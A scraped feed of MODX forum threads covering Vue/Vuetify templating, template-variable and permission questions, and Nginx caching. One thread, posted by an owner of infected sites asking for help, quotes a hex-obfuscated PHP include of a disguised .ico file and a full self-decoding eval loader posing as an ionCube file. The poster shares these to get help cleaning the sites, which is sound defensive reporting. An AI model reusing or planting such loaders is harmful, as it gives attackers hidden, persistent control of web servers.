General Discussions - MODX Community Forums <![CDATA[A View on Vue Frontend Framework & MODx]]>
I recently converted my business website to use Vue and Vuetify - fairly new to both. This to make frontend work easier and to improve my limited design skills treating Vuetify as a replacement for Bootstrap/Foundation etc. The Full Fat approach to Vue Development: using Single Page Applications (SPA); components; Webpack; Vue-CLI; Vuex etc creates an HTML file which simply lists the javascript used to build the site live in the visitors browser. I've had a go at that too for an ecommerce site with loads of interactions, tables etc but suspect this approach won't ever be applicable to MODx.

In that sense, I'm using the "Progressive" feature of Vue. The ability to include some javascript to any HTML to make it a Vue application. This link sums up all you need to do to get going - For Angular and React you'd need to spend about a week learning all sorts of epic stuff. And I don't believe either is Progressive, so could perhaps never be of use with MODx.

An overview of part of what I did to give a flavour.
Building this page, not a designer so no sniggering -

I build my MODx Templates using Chunks for $head, maybe some HTML then a $header, then content stuff, and a $javascript as so.

... stuff specific to this template ...

Then head includes these lines - as per CDN Install section of Vuetify link.
  <link href=',400,500,700|Material+Icons' rel="stylesheet">
  <link href="" rel="stylesheet">
  <link rel="stylesheet" href="/assets/css/yourcustomcsshere.css" />
  <!-- development version, includes helpful console warnings 
  <script src=""></script> -->
  <!-- production later when you've attained Elite status <script src=""></script> -->

Then header gets the layout of the page working with a menu, search and a responsive pull out menu - bit like Bootstrap would do.
<div id="app">
<v-app v-cloak id="parthian">
    <v-navigation-drawer temporary app v-model="sideNav">
     [[!Wayfinder? &startId=`0` &level=`1` &outerTpl=`VueNavOuterTpl` &outerClass=`` &rowTpl=`VueNavRowTpl` &rowClass=`ui-state-default` &hereClass=`active self ui-state-active` &firstClass=`` &lastClass =``]]   
        I've got phone numbers etc here
        [[!SimpleSearchForm? &landing=`38` &tpl=`ListVueSimpleSearchFormTpl`]]
    <v-toolbar light class="">
      <v-layout row wrap pt-2 pb-2>
      <v-flex xs1>
        <v-toolbar-side-icon @click.stop="sideNav = !sideNav" class="hidden-sm-and-up"></v-toolbar-side-icon>
      <v-flex xs5 sm8 mt-3 offset-sm1>
        [[!Wayfinder? &startId=`0` &level=`1` &outerTpl=`NavOuterTpl` &outerClass=`` &rowTpl=`NavRowTpl` &rowClass=`` &hereClass=`` &firstClass=`` &lastClass =``]]
      <v-flex xs6 sm2>
       [[!SimpleSearchForm? &landing=`38` &tpl=`VueSimpleSearchFormTpl`]]

<v-content class="mapbackground" >
  <v-container fluid>
  <v-layout row wrap>
  <span class="headerh1 text-xs-center">PARTHIAN SYSTEMS<br>Web Development and Mapping Services</span>
<v-container grid-list-md class="mt-1">
.... now the meat of the page using mostly MODx stuff.

Note, div id="app" this is so the javascript below knows which bit of the code is Vue. and v-app is for Vuetify. v-cloak is handy. Turns off display of the DOM until everything is ready (with some CSS [v-cloak] { display: none; } ). Stops the raw HTML appearing then getting Vue'd up later making a nasty 'flash'.

You can see things like v-container fluid , v-layout row wrap, and v-flex. These help with the Grid system built into Vuetify.

The v-navigation-drawer is to make one of those nice popout menus in mobile viewports.

And some MODx - Wayfinder for the menu. The outerTpl is just [[wf.wrapper]] as normal but the rowTpl chunk is

<v-list-tile [[+wf.classes]]>
  <v-list-tile-content><v-btn flat href="[[]]" title="[[+wf.title]]" [[+wf.attributes]]><span>[[+wf.linktext]]</span></v-btn>[[+wf.wrapper]]</v-list-tile-content>

All a bit intimidating looking but Bootstrap is much the same. Lots of stuff to build a list of menu items. Note the v-icon - this uses Google Material+Icons - You'll recognise the Wayfinder stuff.

Finally, the $javascript chunk. I have my vue.js included in the $head rather than the Vuetify approach at the bottom. Not sure why I did that.

  <script src=""></script>
   var app = new Vue({
     el: '#app',
     data: {
       message: 'Hello Vue!',
       sideNav: false
   watchers, methods, computed etc can go in here if needed. All Vue stuff.

You may need little in the way of Vue code. Note the sideNav: false. Look above for <v-navigation-drawer temporary app v-model="sideNav">. This is part of the two-way data bindings for Form interactions. More here -

Some useful links on Vuetify to get you all a fluster.
I've used tables a bit. Awesome.
Looking a bit like the Resources tree in the manager.

Should give you a head start. Is Vue/Vuetify right for your project? Not sure, I did it as an exercise as I use Vue for other things. Works well I think, and gives nice features e.g. when you click on the Search box top right on my site or hover over the main content with a popup thing appearing. And the v-chips (red / blue button things). So mainly I added Vue for Vuetify UI components and the grid.

Could MODX 4.0 manager be built using Vue? That's one for minds immeasurably superior to mine.



]]> Mon, 25 Mar 2019 04:46:22 +0000
<![CDATA[Collection view and listbox TVs in columns]]>
I'm searching for a way to render/edit TVs directly from the column list view for quick editing, regarding TV type and default values, especially for listbox TV type.

Is it possible with a rendering snippet 'catching' capturing the tv name (field name : tv_name) and rendering the TV in the same way as in the template variables tab, automatically ?

]]> Sun, 24 Mar 2019 12:30:24 +0000
<![CDATA[Alias locking]]>
Is there a way to lock alias of specific resources (collections) to prevent renaming ?

]]> Mon, 18 Mar 2019 10:25:06 +0000
<![CDATA[MODX website keeps getting infected with malicious code injections]]>
Installation info:

  • MODX version: 2.6.1
  • PHP version: 5.6.33
  • DB info: mysql, version: 10.0.29-MariaDB-cll-lve

My MODX installations keeps getting compromised.
Malicious code is injected in certain index.php files. Example:


@include "\x2fho\x6de/\x64eb\x3950\x391/\x64om\x61in\x73/m\x69dd\x65lb\x75rg\x67ez\x69ch\x74va\x6ede\x73ta\x64.n\x6c/p\x75bl\x69c_\x68tm\x6c/a\x73se\x74s/\x63om\x70on\x65nt\x73/r\x65ca\x70tc\x68av\x32/f\x61vi\x63on\x5f20\x324c\x36.i\x63o";


The includes are referring to ICO files, which contain scrambled code.

Besides this, the hack also creates new, random, files, like:

Contents of footer21.php (similar to the other files):
<?php //000310
if (!extension_loaded('IonCube_loader')) {$__oc = strtolower(substr(php_uname(), 0, 3));$__ln = 'ioncube_loader_' . $__oc . '_' . substr(phpversion(), 0, 3) . (($__oc == 'win') ? '.dll' : '.so');if (function_exists('il_exec')) {return il_exec();}$__ln = '/ioncube/' . $__ln;$__ln = "preg_replace";$__oid = @fopen(__FILE__, 'rb');$__id = realpath('extension_dir');$__here = dirname(__FILE__);if (strlen($__id) > 1 && $__id[1] == ':') {$__id = str_replace('\\', '/', substr($__id, 2));$__here = str_replace('\\', '/', substr($__here, 2));}$__rd = "/" . str_repeat('/..', substr_count($__id, '/')) . $__here . '/';$__i = strlen($__rd);while ($__i--) {if ($__rd[$__i] == '/') {$__lp = substr($__rd, 0, $__i) . $__ln;if ($__lp = fread($__oid, @filesize(__FILE__))) {$__ln = pack("H*", $__ln("/[A-Z,\r,\n]/", "", substr($__lp, 0x99d-0x4ed)));break;}}}eval($__ln);return 0;} else {die('The file ' . __FILE__ . " is corrupted.\n");}if (function_exists('il_exec')) {return il_exec();}echo('Please check System Requirements on vendor site because the file <b>' . __FILE__ . '</b> requires the ionCube PHP Loader ' . basename($__ln) . ' to be installed by the site administrator.');return 0;


Another practical problem is that MODX sites that are infected, will stop working after a while.

I did all the standard stuff and followed the excellent guide at

  • Checked for malicious plugins/users
  • Changed all passwords, form MODX users to DirectAdmin/FTP/DB
  • Moved the website to a new hosting account
  • Used the guide mentioned earlier to identify malicious includes via SSH

Unfortunately this will only temporarily remove the infection.
Right now the only thing I can do is running a cronjob that removes all unwanted ICO files form my host every hour...

I'm not sure if this is a specific MODX related infection. The truth is that only MODX-installations are affected right now.

Is there someone who experienced the same problems and found a solution? Any advice is welcome!

Thanks in advance..]]> Tue, 12 Mar 2019 07:04:32 +0000
<![CDATA[Modx - Relation between TVs or something to calculate and sort and search data ?]]> I created a resource to tree like this -
Session year > Classes > (collections Extra for each class) > Students entry.
And I have created many Tvs for Students entry like name, class, father's name, form date, fees etc.

Client want to search for particular list of student by fees due, form completed or not (which is added by TV with radio button yes/no)

And Client want to automatic calculate the amount like adding fees in installment of 3 so total fees is 15000 and there is 3 installments for 500 each. So when student submit 1st installment, it should show remaining amount and when 2nd installment submit, it should add and calculate amount.

Client also want to search data by selecting year and student's class. He also want to add data from front end. How to process tv's with resource ?

I dont know how to achieve all this with modx .. Please suggest me proper extra or guide me how it can be done.

Thanks. smiley]]> Wed, 06 Mar 2019 06:37:54 +0000
<![CDATA[Customized set-up guides for Revo]]>
I am thinking about a few basic setups outside the Revo core, like multi-lingual (set up that db correctly!), custom user data, user permission levels, some sort of blog, pay for access site, and perhaps a few others.

When users need a solution, its not just about the core but what add ons can be useful. New users need clear ways forward, of course sophisticated users love to imagine the various ways to achieve a goal, for newbies they need clearer pathways.

Unfortunately this might mean picking one solution over another, which is an issue I have seen using Linux. However let 1000 ecosystems bloom]]> Sun, 24 Feb 2019 01:33:09 +0000
<![CDATA[action_err_ns]]> Fri, 22 Feb 2019 11:01:07 +0000 <![CDATA[Modx Tv if else condition help]]> I am adding Student information fields with Collections. I am using Tv for each entry. Like name, class, fees, section etc.
I have some conditions where I want tv to show different values after selecting value.
Like when client select an option from list suppose concession tv has 2 list options yes and no. So when client select YES, I want a text box area to be appear to input the concession amount.
I did this but no success -
concession TV
Listbox (single select)
student_class is a tv with text area input.

How to do this ? Please help. smiley
]]> Fri, 22 Feb 2019 10:55:35 +0000
<![CDATA[Wanting to re-save pages daily with cron manage]]> Wed, 20 Feb 2019 06:54:48 +0000 <![CDATA[Web design outsourcing question]]>
Just wondering if anyone has had any success with outsourcing to overseas website development companies?

I am in Australia and considering outsourcing for a couple of upcoming website projects. I am currently looking at a couple of companies from India, the Philippines and Poland.

Any recommendations on who to use?

Any good / bad experiences you would like to share?

Appreciate any feedback.]]> Tue, 19 Feb 2019 09:47:36 +0000
<![CDATA[Unable to use $response = file_get_contents('php://input'); in snippet]]> $response = file_get_contents('php://input'); in side modx revolution and evolution. Please, can you please help me to implement.]]> Tue, 05 Feb 2019 11:26:08 +0000 <![CDATA[Help needed for my modex website urgent]]> took too long to respond.
Search Google for your family future co uk

please contact me with a quote on]]> Tue, 05 Feb 2019 09:26:08 +0000
<![CDATA[getresource: Chunk in tpl??????]]>
I did a news page. There you can enter the month, a text, a picture and a link.

        <main id="up-to-date" role="main">
            <div class="container">
                <div class="news-content"> 
                    <div class="col-12">
                        <div class="row">                            
                            <div class="col-md-9">            
                            <div class="col-md-3">
                        </div><!-- row -->
                    </div><!-- col-12 -->
                    <hr><!-- divider -->
                </div><!-- news-Content -->                
            </div><!-- container -->
        </main><!-- main →

The picture and the link are not necessary. So that they do not show up if nothing is entered, I have created the following chunks:



Now I've created a tpl that should map all the content to the parent page. But I do not know how to do that with the chunk.

                 <div class="news-content"> 
                    <div class="col-12">
                        <div class="row">                            
                            <div class="col-md-9">            
                            <div class="col-md-3">
                        </div><!-- row -->
                    </div><!-- col-12 -->
                    <hr><!-- divider -->
                </div><!-- news-content -->

Can somebody help me? I'm a beginner with modx.

Best regards,
Michael]]> Fri, 01 Feb 2019 07:47:26 +0000
<![CDATA[TV Permission]]>
I've been struggling with something which I know isn't (or shouldn't be) difficult, so any insight is appreciated.

The Goal: To allow the "editor" user-group to view a (rich-text) TV but not edit/save it. That's it.

I have given the "editor" group
permission but not edit or save (TV) permission.

The Problem: While they can view the TV (good) they can also edit/save it (bad).

In all other respects I have the "editor" permissions dialed-in, everything else is working exactly as I need it to... except this irritating TV nonsense.

Am I correct in assuming this is a permissions issue? Or do I need to create an Element Category Access entry? Or something else?

Very frustrated.]]> Thu, 31 Jan 2019 09:26:24 +0000
<![CDATA[Advsearch Problem after upgrading to Modx 2.2]]> I'm facing a little problem with AdvSerach and Modx 2.2

I've upgraded my Modx install 2.1.4 to 2.2.0.
But now, all my Advsearch calls don't work.
It's all the same chunks, snippets.
I send the data with a GET method, and I call the results with :
&ids=`[[!GetIds? &ids=`c3,c4`]]` 
&method=`GET` ]]

The Hook used is
$andConditions = array(
    'tv.Transaction:=' => 'transact:request:all', 
    'tv.Type:=' => 'type_bien:request:all',
    'tv.Departement:=' => 'departement:request:all',
    'tv.Prix:>=' => 'prixmin:request:none', 
    'tv.Prix:<=' => 'prixmax:request:none' 
$qhDeclaration = array( 
 'qhVersion' => '1.1',
 'andConditions' => $andConditions 
return true;

With modx 2.1.4, it worked perfectly, but now with 2.2.0, it tells me that there's no results. I've tried to clear the cache, nothing happen

Is it a bug or something changed in 2.2 ?

PS : sorry for my bad english]]> Wed, 23 Jan 2019 12:34:40 +0000
<![CDATA[Has anyone (developing MODx) used the interface?]]>

Some tutorial videos that show it in action.

I have to say that is one of the more feature packed browser-based apps for building a website that I've seen. This seems like a next generation web management app. I don't know what it would take to bring MODx up to this kind of functionality, but I can't help but want the MODx manager to act more like this.]]> Mon, 21 Jan 2019 06:06:28 +0000
<![CDATA[Need Help with User roles and permissions]]> I have a project in which my client need User Roles for Users and Different permissions for editing and managing different part of site. Like they have 4 BlogIt blogs in site and user1 can only edit blog-1 and user2 can only edit blog-2 and user3 can edit blog-1 and blog-2 and user4 can edit all blogs, more like an admin but not admin.

How can I achieve this ? Suggest me Extra. smiley]]> Sun, 20 Jan 2019 03:34:36 +0000
<![CDATA[How to add Twitter Feed?]]>
Could you tell me how to embed Twitter Feed on website? Which one would you recommend?

I want to display the latest posts on one of the site pages.

Thank you in advance.
]]> Fri, 18 Jan 2019 05:02:07 +0000
<![CDATA[Reported Security Vulnerabilities - broken link on MODX website]]> CMS Comparison Chart page of the main MODX website has an entry for Reported Security Vulnerabilities but the link in the table is broken.

Does anyone know what url should be to see the live page?

I'm interested to see what the source of the figures given for number of reported vulnerabilities is (MODX = 11, Wordpress = 1090).

From I get MODX = 32, Wordpress = 334.]]> Tue, 15 Jan 2019 02:21:26 +0000
<![CDATA[Nginx Caching]]>
My only problem is that, it's interfering with the manager, despite setting directives to not cache the manager.

The problem I experience is that, once I've logged out, if I try to login again, the manager tells me that my session has expired and it presents me with a login modal, but despite re-authenticating, I can never get rid past this point (unless I clear the nginx cache).

Obviously something is getting cached, which is mucking with the session, but I don't know how to overcome this. I've tried so many options...

My current directives are:

if ($request_uri ~* "/manager/") {
    set $skip_cache 1;


location /manager {
    set $skip_cache 1;
    add_header Cache-Control no-cache;

If anyone has any idea what directives to use, I really appreciate your sharing your learnings smiley]]> Mon, 14 Jan 2019 07:44:45 +0000